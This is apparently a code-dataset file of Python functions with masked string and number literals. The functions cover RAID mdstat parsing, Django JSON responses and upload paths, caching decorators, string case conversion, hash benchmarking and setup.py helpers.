{"signature": "def get_personalities(self, line):", "body": "return [split('<STR_LIT>', i)[<NUM_LIT:1>] for i in line.split('<STR_LIT::>')[<NUM_LIT:1>].split('<STR_LIT:U+0020>') if i.startswith('<STR_LIT:[>')]<EOL>", "docstring": "Return a list of personalities readed from the input line.", "id": "f5087:c0:m14"}
{"signature": "def get_arrays(self, lines, personalities=[]):", "body": "ret = {}<EOL>i = <NUM_LIT:0><EOL>while i < len(lines):<EOL><INDENT>try:<EOL><INDENT>md_device = self.get_md_device_name(lines[i])<EOL><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if md_device is not None:<EOL><INDENT>ret[md_device] = self.get_md_device(lines[i], personalities)<EOL>i += <NUM_LIT:1><EOL>ret[md_device].update(self.get_md_status(lines[i]))<EOL><DEDENT><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>return ret<EOL>", "docstring": "Return a dict of arrays.", "id": "f5087:c0:m15"}
{"signature": "def get_md_device(self, line, personalities=[]):", "body": "ret = {}<EOL>splitted = split('<STR_LIT>', line)<EOL>ret['<STR_LIT:status>'] = splitted[<NUM_LIT:1>]<EOL>if splitted[<NUM_LIT:2>] in personalities:<EOL><INDENT>ret['<STR_LIT:type>'] = splitted[<NUM_LIT:2>]<EOL>ret['<STR_LIT>'] = self.get_components(line, with_type=True)<EOL><DEDENT>else:<EOL><INDENT>ret['<STR_LIT:type>'] = None<EOL>ret['<STR_LIT>'] = self.get_components(line, with_type=False)<EOL><DEDENT>return ret<EOL>", "docstring": "Return a dict of md device define in the line.", "id": "f5087:c0:m16"}
{"signature": "def get_md_status(self, line):", "body": "ret = {}<EOL>splitted = split('<STR_LIT>', line)<EOL>if len(splitted) < <NUM_LIT:7>:<EOL><INDENT>ret['<STR_LIT>'] = None<EOL>ret['<STR_LIT>'] = None<EOL>ret['<STR_LIT>'] = None<EOL><DEDENT>else:<EOL><INDENT>ret['<STR_LIT>'] = splitted[-<NUM_LIT:4>]<EOL>ret['<STR_LIT>'] = splitted[-<NUM_LIT:3>]<EOL>ret['<STR_LIT>'] = splitted[-<NUM_LIT:2>]<EOL><DEDENT>return ret<EOL>", "docstring": "Return a dict of md status define in the line.", "id": "f5087:c0:m17"}
{"signature": "def get_components(self, line, with_type=True):", "body": "ret = {}<EOL>line2 = reduce(lambda x, y: x + y, split('<STR_LIT>', line))<EOL>if with_type:<EOL><INDENT>splitted = split('<STR_LIT>', line2)[<NUM_LIT:3>:]<EOL><DEDENT>else:<EOL><INDENT>splitted = split('<STR_LIT>', line2)[<NUM_LIT:2>:]<EOL><DEDENT>ret = dict(zip(splitted[<NUM_LIT:0>::<NUM_LIT:2>], splitted[<NUM_LIT:1>::<NUM_LIT:2>]))<EOL>return ret<EOL>", "docstring": "Return a dict of components in the line.\n\n        key: device name (ex: 'sdc1')\n        value: device role number", "id": "f5087:c0:m18"}
{"signature": "def get_md_device_name(self, line):", "body": "ret = split('<STR_LIT>', line)[<NUM_LIT:0>]<EOL>if ret.startswith('<STR_LIT>'):<EOL><INDENT>return ret<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the md device name from the input line.", "id": "f5087:c0:m19"}
{"signature": "def render_to_response(self, context=None, **response_kwargs):", "body": "response_kwargs['<STR_LIT>'] = '<STR_LIT:application/json>'<EOL>return self.response_class(self.convert_context_to_json(context or {}), **response_kwargs)<EOL>", "docstring": "Return a JSON response, transforming 'context' to make the payload.", "id": "f5092:c2:m0"}
{"signature": "def convert_context_to_json(self, context):", "body": "return json.dumps(context, cls=DjangoJSONEncoder)<EOL>", "docstring": "Convert the context dictionary into a JSON object", "id": "f5092:c2:m1"}
{"signature": "def get_random_filename(instance, filename):", "body": "folder = settings.UPLOADS_ROOT<EOL>ext = filename.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>filename = '<STR_LIT>'.format(str(uuid4()), ext)<EOL>return os.path.join(folder, filename)<EOL>", "docstring": "Generates random filename for uploading file using uuid4 hashes\nYou need to define UPLOADS_ROOT in your django settings\nsomething like this\nUPLOADS_ROOT = rel(MEDIA_ROOT, 'uploads')", "id": "f5094:m0"}
{"signature": "def image_path(instance, filename):", "body": "filename, ext = os.path.splitext(filename.lower())<EOL>instance_id_hash = hashlib.md5(str(instance.id)).hexdigest()<EOL>filename_hash = '<STR_LIT>'.join(random.sample(hashlib.md5(filename.encode('<STR_LIT:utf-8>')).hexdigest(), <NUM_LIT:8>))<EOL>return '<STR_LIT>'.format(instance_id_hash, filename_hash, ext)<EOL>", "docstring": "Generates likely unique image path using md5 hashes", "id": "f5094:m1"}
{"signature": "def get_cache_key(prefix, *args, **kwargs):", "body": "hash_args_kwargs = hash(tuple(kwargs.iteritems()) + args)<EOL>return '<STR_LIT>'.format(prefix, hash_args_kwargs)<EOL>", "docstring": "Calculates cache key based on `args` and `kwargs`.\n`args` and `kwargs` must be instances of hashable types.", "id": "f5095:m0"}
{"signature": "def cache_method(func=None, prefix='<STR_LIT>'):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>cache_key_prefix = prefix or '<STR_LIT>'.format(func.__name__)<EOL>cache_key = get_cache_key(cache_key_prefix, *args, **kwargs)<EOL>if not hasattr(self, cache_key):<EOL><INDENT>setattr(self, cache_key, func(self))<EOL><DEDENT>return getattr(self, cache_key)<EOL><DEDENT>return wrapper<EOL><DEDENT>if func is None:<EOL><INDENT>return decorator<EOL><DEDENT>else:<EOL><INDENT>return decorator(func)<EOL><DEDENT>", "docstring": "Cache result of function execution into the `self` object (mostly useful in models).\nCalculate cache key based on `args` and `kwargs` of the function (except `self`).", "id": "f5095:m1"}
{"signature": "def cache_func(prefix, method=False):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>cache_args = args<EOL>if method:<EOL><INDENT>cache_args = args[<NUM_LIT:1>:]<EOL><DEDENT>cache_key = get_cache_key(prefix, *cache_args, **kwargs)<EOL>cached_value = cache.get(cache_key)<EOL>if cached_value is None:<EOL><INDENT>cached_value = func(*args, **kwargs)<EOL>cache.set(cache_key, cached_value)<EOL><DEDENT>return cached_value<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Cache result of function execution into the django cache backend.\nCalculate cache key based on `prefix`, `args` and `kwargs` of the function.\nFor using like object method set `method=True`.", "id": "f5095:m2"}
{"signature": "def get_or_default(func=None, default=None):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>except ObjectDoesNotExist:<EOL><INDENT>if callable(default):<EOL><INDENT>return default()<EOL><DEDENT>else:<EOL><INDENT>return default<EOL><DEDENT><DEDENT><DEDENT>return wrapper<EOL><DEDENT>if func is None:<EOL><INDENT>return decorator<EOL><DEDENT>else:<EOL><INDENT>return decorator(func)<EOL><DEDENT>", "docstring": "Wrapper around Django's ORM `get` functionality.\nWrap anything that raises ObjectDoesNotExist exception\nand provide the default value if necessary.\n`default` by default is None. `default` can be any callable,\nif it is callable it will be called when ObjectDoesNotExist\nexception will be raised.", "id": "f5095:m3"}
{"signature": "def camelcase(string):", "body": "string = re.sub(r\"<STR_LIT>\", '<STR_LIT>', str(string))<EOL>if not string:<EOL><INDENT>return string<EOL><DEDENT>return lowercase(string[<NUM_LIT:0>]) + re.sub(r\"<STR_LIT>\", lambda matched: uppercase(matched.group(<NUM_LIT:1>)), string[<NUM_LIT:1>:])<EOL>", "docstring": "Convert string into camel case.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Camel case string.", "id": "f5098:m0"}
{"signature": "def capitalcase(string):", "body": "string = str(string)<EOL>if not string:<EOL><INDENT>return string<EOL><DEDENT>return uppercase(string[<NUM_LIT:0>]) + string[<NUM_LIT:1>:]<EOL>", "docstring": "Convert string into capital case.\n    First letters will be uppercase.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Capital case string.", "id": "f5098:m1"}
{"signature": "def constcase(string):", "body": "return uppercase(snakecase(string))<EOL>", "docstring": "Convert string into upper snake case.\n    Join punctuation with underscore and convert letters into uppercase.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Const cased string.", "id": "f5098:m2"}
{"signature": "def lowercase(string):", "body": "return str(string).lower()<EOL>", "docstring": "Convert string into lower case.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Lowercase case string.", "id": "f5098:m3"}
{"signature": "def pascalcase(string):", "body": "return capitalcase(camelcase(string))<EOL>", "docstring": "Convert string into pascal case.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Pascal case string.", "id": "f5098:m4"}
{"signature": "def pathcase(string):", "body": "string = snakecase(string)<EOL>if not string:<EOL><INDENT>return string<EOL><DEDENT>return re.sub(r\"<STR_LIT:_>\", \"<STR_LIT:/>\", string)<EOL>", "docstring": "Convert string into path case.\n    Join punctuation with slash.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Path cased string.", "id": "f5098:m5"}
{"signature": "def backslashcase(string):", "body": "str1 = re.sub(r\"<STR_LIT:_>\", r\"<STR_LIT:\\\\>\", snakecase(string))<EOL>return str1<EOL>", "docstring": "Convert string into spinal case.\n    Join punctuation with backslash.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Spinal cased string.", "id": "f5098:m6"}
{"signature": "def sentencecase(string):", "body": "joiner = '<STR_LIT:U+0020>'<EOL>string = re.sub(r\"<STR_LIT>\", joiner, str(string))<EOL>if not string:<EOL><INDENT>return string<EOL><DEDENT>return capitalcase(trimcase(<EOL>re.sub(r\"<STR_LIT>\", lambda matched: joiner +<EOL>lowercase(matched.group(<NUM_LIT:0>)), string)<EOL>))<EOL>", "docstring": "Convert string into sentence case.\n    First letter capped and each punctuations are joined with space.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Sentence cased string.", "id": "f5098:m7"}
{"signature": "def snakecase(string):", "body": "string = re.sub(r\"<STR_LIT>\", '<STR_LIT:_>', str(string))<EOL>if not string:<EOL><INDENT>return string<EOL><DEDENT>return lowercase(string[<NUM_LIT:0>]) + re.sub(r\"<STR_LIT>\", lambda matched: '<STR_LIT:_>' + lowercase(matched.group(<NUM_LIT:0>)), string[<NUM_LIT:1>:])<EOL>", "docstring": "Convert string into snake case.\n    Join punctuation with underscore\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Snake cased string.", "id": "f5098:m8"}
{"signature": "def spinalcase(string):", "body": "return re.sub(r\"<STR_LIT:_>\", \"<STR_LIT:->\", snakecase(string))<EOL>", "docstring": "Convert string into spinal case.\n    Join punctuation with hyphen.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Spinal cased string.", "id": "f5098:m9"}
{"signature": "def dotcase(string):", "body": "return re.sub(r\"<STR_LIT:_>\", \"<STR_LIT:.>\", snakecase(string))<EOL>", "docstring": "Convert string into dot case.\n    Join punctuation with dot.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Dot cased string.", "id": "f5098:m10"}
{"signature": "def titlecase(string):", "body": "return '<STR_LIT:U+0020>'.join(<EOL>[capitalcase(word) for word in snakecase(string).split(\"<STR_LIT:_>\")]<EOL>)<EOL>", "docstring": "Convert string into sentence case.\n    First letter capped while each punctuations is capitalsed\n    and joined with space.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Title cased string.", "id": "f5098:m11"}
{"signature": "def trimcase(string):", "body": "return str(string).strip()<EOL>", "docstring": "Convert string into trimmed string.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Trimmed case string", "id": "f5098:m12"}
{"signature": "def uppercase(string):", "body": "return str(string).upper()<EOL>", "docstring": "Convert string into upper case.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: Uppercase case string.", "id": "f5098:m13"}
{"signature": "def alphanumcase(string):", "body": "return '<STR_LIT>'.join(filter(str.isalnum, str(string)))<EOL>", "docstring": "Cuts all non-alphanumeric symbols,\n    i.e. cuts all expect except 0-9, a-z and A-Z.\n\n    Args:\n        string: String to convert.\n\n    Returns:\n        string: String with cutted non-alphanumeric symbols.", "id": "f5098:m14"}
{"signature": "def _benchmark():", "body": "result = ub.AutoOrderedDict()<EOL>algos = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for n in ub.ProgIter([<NUM_LIT:1>, <NUM_LIT:10>, <NUM_LIT:100>, <NUM_LIT:1000>, <NUM_LIT>, <NUM_LIT>], desc='<STR_LIT:time>'):<EOL><INDENT>for key in algos:<EOL><INDENT>hashtype = _rectify_hasher(key)<EOL>t1 = ub.Timerit(<NUM_LIT:100>, bestof=<NUM_LIT:10>, label=key, verbose=<NUM_LIT:0>)<EOL>for timer in t1:<EOL><INDENT>data = b'<STR_LIT>' * n<EOL>with timer:<EOL><INDENT>hasher = hashtype()<EOL>hasher.update(data)<EOL><DEDENT><DEDENT>result[key][n] = t1.min()<EOL><DEDENT><DEDENT>import pandas as pd<EOL>print(pd.DataFrame(result))<EOL>result = ub.AutoOrderedDict()<EOL>for n in ub.ProgIter([<NUM_LIT:1>, <NUM_LIT:10>, <NUM_LIT:100>, <NUM_LIT:1000>, <NUM_LIT>, <NUM_LIT>], desc='<STR_LIT:time>'):<EOL><INDENT>for key in algos:<EOL><INDENT>hashtype = _rectify_hasher(key)<EOL>t1 = ub.Timerit(<NUM_LIT:100>, bestof=<NUM_LIT:10>, label=key, verbose=<NUM_LIT:0>)<EOL>for timer in t1:<EOL><INDENT>data = b'<STR_LIT>' * n<EOL>hasher = hashtype()<EOL>hasher.update(data)<EOL>with timer:<EOL><INDENT>hasher.hexdigest()<EOL><DEDENT><DEDENT>result[key][n] = t1.min()<EOL><DEDENT><DEDENT>import pandas as pd<EOL>print(pd.DataFrame(result))<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "On 64-bit processors sha512 may be faster than sha256\n\nReferences:\n    https://crypto.stackexchange.com/questions/26336/sha512-faster-than-sha256", "id": "f5101:m0"}
{"signature": "def benchmark_hash_data():", "body": "import ubelt as ub<EOL>ITEM = [<NUM_LIT:0>, <NUM_LIT:1>, '<STR_LIT:a>', '<STR_LIT:b>', ['<STR_LIT>'] * <NUM_LIT:4>]<EOL>HASHERS = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>scales = list(range(<NUM_LIT:5>, <NUM_LIT>))<EOL>results = ub.AutoDict()<EOL>convert = ub.argval('<STR_LIT>', default='<STR_LIT:True>').lower() == '<STR_LIT:True>'<EOL>print('<STR_LIT>'.format(convert))<EOL>ti = ub.Timerit(<NUM_LIT:9>, bestof=<NUM_LIT:3>, verbose=<NUM_LIT:1>, unit='<STR_LIT>')<EOL>for s in ub.ProgIter(scales, desc='<STR_LIT>', verbose=<NUM_LIT:3>):<EOL><INDENT>N = <NUM_LIT:2> ** s<EOL>print('<STR_LIT>'.format(s=s, N=N))<EOL>data = [ITEM] * N<EOL>for hasher in HASHERS:<EOL><INDENT>for timer in ti.reset(hasher):<EOL><INDENT>ub.hash_data(data, hasher=hasher, convert=convert)<EOL><DEDENT>results[hasher].update({N: ti.mean()})<EOL><DEDENT>col = {h: results[h][N] for h in HASHERS}<EOL>sortx = ub.argsort(col)<EOL>ranking = ub.dict_subset(col, sortx)<EOL>print('<STR_LIT>' + ub.repr2(ranking, precision=<NUM_LIT:9>, nl=<NUM_LIT:0>))<EOL>best = next(iter(ranking))<EOL>pairs = [(k, best) for k in ranking]<EOL>ratios = [ranking[k1] / ranking[k2] for k1, k2 in pairs]<EOL>nicekeys = ['<STR_LIT>'.format(k1, k2) for k1, k2 in pairs]<EOL>relratios = ub.odict(zip(nicekeys, ratios))<EOL>print('<STR_LIT>' + ub.repr2(relratios, precision=<NUM_LIT:4>, nl=<NUM_LIT:0>))<EOL><DEDENT>import pandas as pd<EOL>df = pd.DataFrame.from_dict(results)<EOL>df.columns.name = '<STR_LIT>'<EOL>df.index.name = '<STR_LIT:N>'<EOL>ratios = df.copy().drop(columns=df.columns)<EOL>for k1, k2 in [('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT>', '<STR_LIT>')]:<EOL><INDENT>ratios['<STR_LIT>'.format(k1, k2)] = df[k1] / df[k2]<EOL><DEDENT>print()<EOL>print('<STR_LIT>')<EOL>print(df.to_string(float_format='<STR_LIT>'))<EOL>print()<EOL>print('<STR_LIT>')<EOL>print(ratios.to_string(float_format='<STR_LIT>'))<EOL>print()<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>'.format(convert))<EOL>print(ratios.mean().sort_values())<EOL>if ub.argflag('<STR_LIT>'):<EOL><INDENT>import netharn.util as kwel<EOL>kwel.autompl()<EOL>xdata = sorted(ub.peek(results.values()).keys())<EOL>ydata = ub.map_vals(lambda d: [d[x] for x in xdata], results)<EOL>kwel.multi_plot(xdata, ydata, xlabel='<STR_LIT:N>', ylabel='<STR_LIT>', title='<STR_LIT>'.format(convert))<EOL>kwel.show_if_requested()<EOL><DEDENT>", "docstring": "CommandLine:\n    python ~/code/ubelt/dev/bench_hash.py --convert=True --show\n    python ~/code/ubelt/dev/bench_hash.py --convert=False --show", "id": "f5119:m0"}
{"signature": "def parse_version(package):", "body": "from os.path import dirname, join, exists<EOL>import ast<EOL>_candiates = [<EOL>join(dirname(__file__), package + '<STR_LIT>'),<EOL>join(dirname(__file__), package, '<STR_LIT>'),<EOL>]<EOL>_found = [init_fpath for init_fpath in _candiates if exists(init_fpath)]<EOL>if len(_found) > <NUM_LIT:0>:<EOL><INDENT>init_fpath = _found[<NUM_LIT:0>]<EOL><DEDENT>elif len(_found) > <NUM_LIT:1>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif len(_found) == <NUM_LIT:0>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>with open(init_fpath, '<STR_LIT:r>') as file_:<EOL><INDENT>sourcecode = file_.read()<EOL><DEDENT>pt = ast.parse(sourcecode)<EOL>class VersionVisitor(ast.NodeVisitor):<EOL><INDENT>def visit_Assign(self, node):<EOL><INDENT>for target in node.targets:<EOL><INDENT>if getattr(target, '<STR_LIT:id>', None) == '<STR_LIT>':<EOL><INDENT>self.version = node.value.s<EOL><DEDENT><DEDENT><DEDENT><DEDENT>visitor = VersionVisitor()<EOL>visitor.visit(pt)<EOL>return visitor.version<EOL>", "docstring": "Statically parse the version number from __init__.py\n\nCommandLine:\n    python -c \"import setup; print(setup.parse_version('ubelt'))\"", "id": "f5121:m0"}
{"signature": "def parse_description():", "body": "from os.path import dirname, join, exists<EOL>readme_fpath = join(dirname(__file__), '<STR_LIT>')<EOL>if exists(readme_fpath):<EOL><INDENT>with open(readme_fpath, '<STR_LIT:r>') as f:<EOL><INDENT>text = f.read()<EOL><DEDENT>return text<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Parse the description in the README file\n\nCommandLine:\n    pandoc --from=markdown --to=rst --output=README.rst README.md\n    python -c \"import setup; print(setup.parse_description())\"", "id": "f5121:m1"}
{"signature": "def parse_requirements_alt(fname='<STR_LIT>'):", "body": "import requirements<EOL>from os.path import dirname, join, exists<EOL>require_fpath = join(dirname(__file__), fname)<EOL>if exists(require_fpath):<EOL><INDENT>with open(require_fpath, '<STR_LIT:r>') as file:<EOL><INDENT>requires = list(requirements.parse(file))<EOL><DEDENT>packages = [r.name for r in requires]<EOL>return packages<EOL><DEDENT>return []<EOL>", "docstring": "pip install requirements-parser\nfname='requirements.txt'", "id": "f5121:m2"}
{"signature": "def parse_requirements(fname='<STR_LIT>'):", "body": "from os.path import dirname, join, exists<EOL>import re<EOL>require_fpath = join(dirname(__file__), fname)<EOL>def parse_line(line):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>info = {}<EOL>if line.startswith('<STR_LIT>'):<EOL><INDENT>info['<STR_LIT>'] = line.split('<STR_LIT>')[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>pat = '<STR_LIT:(>' + '<STR_LIT:|>'.join(['<STR_LIT>', '<STR_LIT>', '<STR_LIT:>>']) + '<STR_LIT:)>'<EOL>parts = re.split(pat, line, maxsplit=<NUM_LIT:1>)<EOL>parts = [p.strip() for p in parts]<EOL>info['<STR_LIT>'] = parts[<NUM_LIT:0>]<EOL>if len(parts) > <NUM_LIT:1>:<EOL><INDENT>op, rest = parts[<NUM_LIT:1>:]<EOL>if '<STR_LIT:;>' in rest:<EOL><INDENT>version, platform_deps = map(str.strip, rest.split('<STR_LIT:;>'))<EOL>info['<STR_LIT>'] = platform_deps<EOL><DEDENT>else:<EOL><INDENT>version = rest  <EOL><DEDENT>info['<STR_LIT:version>'] = (op, version)<EOL><DEDENT><DEDENT>return info<EOL><DEDENT>if exists(require_fpath):<EOL><INDENT>with open(require_fpath, '<STR_LIT:r>') as f:<EOL><INDENT>packages = []<EOL>for line in f.readlines():<EOL><INDENT>line = line.strip()<EOL>if line and not line.startswith('<STR_LIT:#>'):<EOL><INDENT>info = parse_line(line)<EOL>package = info['<STR_LIT>']<EOL>if not sys.version.startswith('<STR_LIT>'):<EOL><INDENT>platform_deps = info.get('<STR_LIT>')<EOL>if platform_deps is not None:<EOL><INDENT>package += '<STR_LIT:;>' + platform_deps<EOL><DEDENT><DEDENT>packages.append(package)<EOL><DEDENT><DEDENT>return packages<EOL><DEDENT><DEDENT>return []<EOL>", "docstring": "Parse the package dependencies listed in a requirements file but strips\nspecific versioning information.\n\nTODO:\n    perhaps use https://github.com/davidfischer/requirements-parser instead\n\nCommandLine:\n    python -c \"import setup; print(setup.parse_requirements())\"", "id": "f5121:m3"}
{"signature": "def _rectify_hasher(hasher):", "body": "if xxhash is not None:  <EOL><INDENT>if hasher in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return xxhash.xxh32<EOL><DEDENT>if hasher in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return xxhash.xxh64<EOL><DEDENT><DEDENT>if hasher is NoParam or hasher == '<STR_LIT:default>':<EOL><INDENT>hasher = DEFAULT_HASHER<EOL><DEDENT>elif isinstance(hasher, six.string_types):<EOL><INDENT>if hasher not in hashlib.algorithms_available:<EOL><INDENT>raise KeyError('<STR_LIT>'.format(hasher))<EOL><DEDENT>else:<EOL><INDENT>hasher = getattr(hashlib, hasher)<EOL><DEDENT><DEDENT>elif isinstance(hasher, HASH):<EOL><INDENT>return lambda: hasher<EOL><DEDENT>return hasher<EOL>", "docstring": "Convert a string-based key into a hasher class\n\nNotes:\n    In terms of speed on 64bit systems, sha1 is the fastest followed by md5\n    and sha512. The slowest algorithm is sha256. If xxhash is installed\n    the fastest algorithm is xxh64.\n\nExample:\n    >>> assert _rectify_hasher(NoParam) is DEFAULT_HASHER\n    >>> assert _rectify_hasher('sha1') is hashlib.sha1\n    >>> assert _rectify_hasher('sha256') is hashlib.sha256\n    >>> assert _rectify_hasher('sha512') is hashlib.sha512\n    >>> assert _rectify_hasher('md5') is hashlib.md5\n    >>> assert _rectify_hasher(hashlib.sha1) is hashlib.sha1\n    >>> assert _rectify_hasher(hashlib.sha1())().name == 'sha1'\n    >>> import pytest\n    >>> assert pytest.raises(KeyError, _rectify_hasher, '42')\n    >>> #assert pytest.raises(TypeError, _rectify_hasher, object)\n    >>> if xxhash:\n    >>>     assert _rectify_hasher('xxh64') is xxhash.xxh64\n    >>>     assert _rectify_hasher('xxh32') is xxhash.xxh32", "id": "f5122:m0"}
{"signature": "def _rectify_base(base):", "body": "if base is NoParam or base == '<STR_LIT:default>':<EOL><INDENT>return DEFAULT_ALPHABET<EOL><DEDENT>elif base in [<NUM_LIT>, '<STR_LIT:abc>', '<STR_LIT>']:<EOL><INDENT>return _ALPHABET_26<EOL><DEDENT>elif base in [<NUM_LIT:16>, '<STR_LIT>']:<EOL><INDENT>return _ALPHABET_16<EOL><DEDENT>elif base in [<NUM_LIT:10>, '<STR_LIT>']:<EOL><INDENT>return _ALPHABET_10<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(base, (list, tuple)):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'.format(<EOL>type(base)))<EOL><DEDENT>return base<EOL><DEDENT>", "docstring": "transforms base shorthand into the full list representation\n\nExample:\n    >>> assert _rectify_base(NoParam) is DEFAULT_ALPHABET\n    >>> assert _rectify_base('hex') is _ALPHABET_16\n    >>> assert _rectify_base('abc') is _ALPHABET_26\n    >>> assert _rectify_base(10) is _ALPHABET_10\n    >>> assert _rectify_base(['1', '2']) == ['1', '2']\n    >>> import pytest\n    >>> assert pytest.raises(TypeError, _rectify_base, 'uselist')", "id": "f5122:m1"}
{"signature": "def _rectify_hashlen(hashlen):", "body": "if hashlen is NoParam or hashlen == '<STR_LIT:default>':<EOL><INDENT>return DEFAULT_HASHLEN<EOL><DEDENT>else:<EOL><INDENT>return hashlen<EOL><DEDENT>", "docstring": "Example:\n    >>> assert _rectify_hashlen(NoParam) is DEFAULT_HASHLEN\n    >>> assert _rectify_hashlen(8) == 8", "id": "f5122:m2"}
{"signature": "def _hashable_sequence(data, types=True):", "body": "hasher = _HashTracer()<EOL>_update_hasher(hasher, data, types=types)<EOL>return hasher.sequence<EOL>", "docstring": "r\"\"\"\n    Extracts the sequence of bytes that would be hashed by hash_data\n\n    Example:\n        >>> data = [2, (3, 4)]\n        >>> result1 = (b''.join(_hashable_sequence(data, types=False)))\n        >>> result2 = (b''.join(_hashable_sequence(data, types=True)))\n        >>> assert result1 == b'_[_\\x02_,__[_\\x03_,_\\x04_,__]__]_'\n        >>> assert result2 == b'_[_INT\\x02_,__[_INT\\x03_,_INT\\x04_,__]__]_'", "id": "f5122:m3"}
{"signature": "def _convert_to_hashable(data, types=True):", "body": "<EOL>if data is None:<EOL><INDENT>hashable = b'<STR_LIT>'<EOL>prefix = b'<STR_LIT>'<EOL><DEDENT>elif isinstance(data, six.binary_type):<EOL><INDENT>hashable = data<EOL>prefix = b'<STR_LIT>'<EOL><DEDENT>elif isinstance(data, six.text_type):<EOL><INDENT>hashable = data.encode('<STR_LIT:utf-8>')<EOL>prefix = b'<STR_LIT>'<EOL><DEDENT>elif isinstance(data, _intlike):<EOL><INDENT>hashable = _int_to_bytes(data)<EOL>prefix = b'<STR_LIT>'<EOL><DEDENT>elif isinstance(data, float):<EOL><INDENT>a, b = float(data).as_integer_ratio()<EOL>hashable = _int_to_bytes(a) + b'<STR_LIT:/>' +  _int_to_bytes(b)<EOL>prefix = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>hash_func = _HASHABLE_EXTENSIONS.lookup(data)<EOL>prefix, hashable = hash_func(data)<EOL><DEDENT>if types:<EOL><INDENT>return prefix, hashable<EOL><DEDENT>else:<EOL><INDENT>return b'<STR_LIT>', hashable<EOL><DEDENT>", "docstring": "r\"\"\"\n    Converts `data` into a hashable byte representation if an appropriate\n    hashing function is known.\n\n    Args:\n        data (object): ordered data with structure\n        types (bool): include type prefixes in the hash\n\n    Returns:\n        tuple(bytes, bytes): prefix, hashable:\n            a prefix hinting the original data type and the byte representation\n            of `data`.\n\n    Raises:\n        TypeError : if data has no registered hash methods\n\n    Example:\n        >>> assert _convert_to_hashable(None) == (b'NULL', b'NONE')\n        >>> assert _convert_to_hashable('string') == (b'TXT', b'string')\n        >>> assert _convert_to_hashable(1) == (b'INT', b'\\x01')\n        >>> assert _convert_to_hashable(1.0) == (b'FLT', b'\\x01/\\x01')\n        >>> assert _convert_to_hashable(_intlike[-1](1)) == (b'INT', b'\\x01')", "id": "f5122:m4"}
{"signature": "def _update_hasher(hasher, data, types=True):", "body": "<EOL>if isinstance(data, (tuple, list, zip)):<EOL><INDENT>needs_iteration = True<EOL><DEDENT>else:<EOL><INDENT>needs_iteration = any(check(data) for check in<EOL>_HASHABLE_EXTENSIONS.iterable_checks)<EOL><DEDENT>if needs_iteration:<EOL><INDENT>SEP = b'<STR_LIT>'<EOL>ITER_PREFIX = b'<STR_LIT>'<EOL>ITER_SUFFIX = b'<STR_LIT>'<EOL>iter_ = iter(data)<EOL>hasher.update(ITER_PREFIX)<EOL>try:<EOL><INDENT>for item in iter_:<EOL><INDENT>prefix, hashable = _convert_to_hashable(item, types)<EOL>binary_data = prefix + hashable + SEP<EOL>hasher.update(binary_data)<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>_update_hasher(hasher, item, types)<EOL>for item in iter_:<EOL><INDENT>_update_hasher(hasher, item, types)<EOL>hasher.update(SEP)<EOL><DEDENT><DEDENT>hasher.update(ITER_SUFFIX)<EOL><DEDENT>else:<EOL><INDENT>prefix, hashable = _convert_to_hashable(data, types)<EOL>binary_data = prefix + hashable<EOL>hasher.update(binary_data)<EOL><DEDENT>", "docstring": "Converts `data` into a byte representation and calls update on the hasher\n`hashlib.HASH` algorithm.\n\nArgs:\n    hasher (HASH): instance of a hashlib algorithm\n    data (object): ordered data with structure\n    types (bool): include type prefixes in the hash\n\nExample:\n    >>> hasher = hashlib.sha512()\n    >>> data = [1, 2, ['a', 2, 'c']]\n    >>> _update_hasher(hasher, data)\n    >>> print(hasher.hexdigest()[0:8])\n    e2c67675\n\n    2ba8d82b", "id": "f5122:m5"}
